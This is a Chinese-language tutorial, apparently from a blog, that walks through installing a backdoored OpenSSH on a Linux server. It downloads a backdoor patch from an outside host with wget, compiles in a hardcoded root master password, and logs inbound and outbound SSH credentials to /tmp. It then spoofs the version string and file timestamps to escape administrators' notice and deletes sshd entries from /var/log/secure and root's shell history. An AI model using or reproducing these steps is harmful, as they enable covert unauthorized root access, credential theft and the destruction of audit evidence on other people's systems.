为了避免在重编译SSH时出现问题,提前进行如下准备操作:
yum install -y zlib zlib-devel openssl openssl-devel pam-devel gcc patch
0x01 查看SSH版本
ssh -V
OpenSSH_5.3p1p1, OpenSSL 1.0.1e-fips 11 Feb 2013
0x02 下载openssh源码与后门文件
许多Blog里openssh的下载链接已经失效,以下链接本人的资源库里面提供的,亲测可用
源码文件: https://resource.if010.com/opensshbd/openssh-5.9p1.tar.gz 下载
后门文件: https://resource.if010.com/opensshbd/0x06-openssh-5.9p1.patch.tar.gz 下载
wget https://resource.if010.com/opensshbd/openssh-5.9p1.tar.gz
wget https://resource.if010.com/opensshbd/0x06-openssh-5.9p1.patch.tar.gz
0x03 备份原有ssh配置文件
cp -p /etc/ssh/sshd_config{,.bak}
0x04 编译安装openssh
1.解压文件
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
2.复制后门文件至openssh源码
cp sshbd5.9p1.diff ../openssh-5.9p1
3.进入openssh源码进行patch
cd ../openssh-5.9p1
patch <sshbd5.9p1.diff
4.在openssh源码根目录编辑includes.h
vim includes.h
#define ILOG “/tmp/ilog”
#define OLOG “/tmp/olog”
#define SECRETPW “redkey”
ILOG用于记录登录本机的帐号,OLOG记录登录远程主机的SSH帐号
SECRETPW 为登录的root帐号密码,登录时用户名为root,密码为该处设置的密码
5.在openssh源码根目录编辑version.h
vim version.h
#define SSH_VERSION "OpenSSH_5.3p1"
""号的内容替换为第一步记录下的SSH版本,这一步只是为了避免SSH版本的变化引起管理员的注意。
0x05 编译安装
在openssh源码根目录进行如下操作
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make && make install
0x06 还原sshd_config文件时间戳
cd /etc/ssh && touch -r sshd_config.bak ssh_config
0x07 重启SSH服务
service sshd reload
0x08 清除相关操作日志
清除该文件下含有sshd的行,同时可以把自己的IP填进去进行定点清除
sed -i "/sshd/d" /var/log/secure
清除history操作记录
echo >/root/.bash_history
如果还是不放心,可以下载Linux-Log-Eraser日志工具进行日志行踪spoof,关于Linux-Log-Eraser-1.0,有时间的话再写一个详细教程吧 ~ !!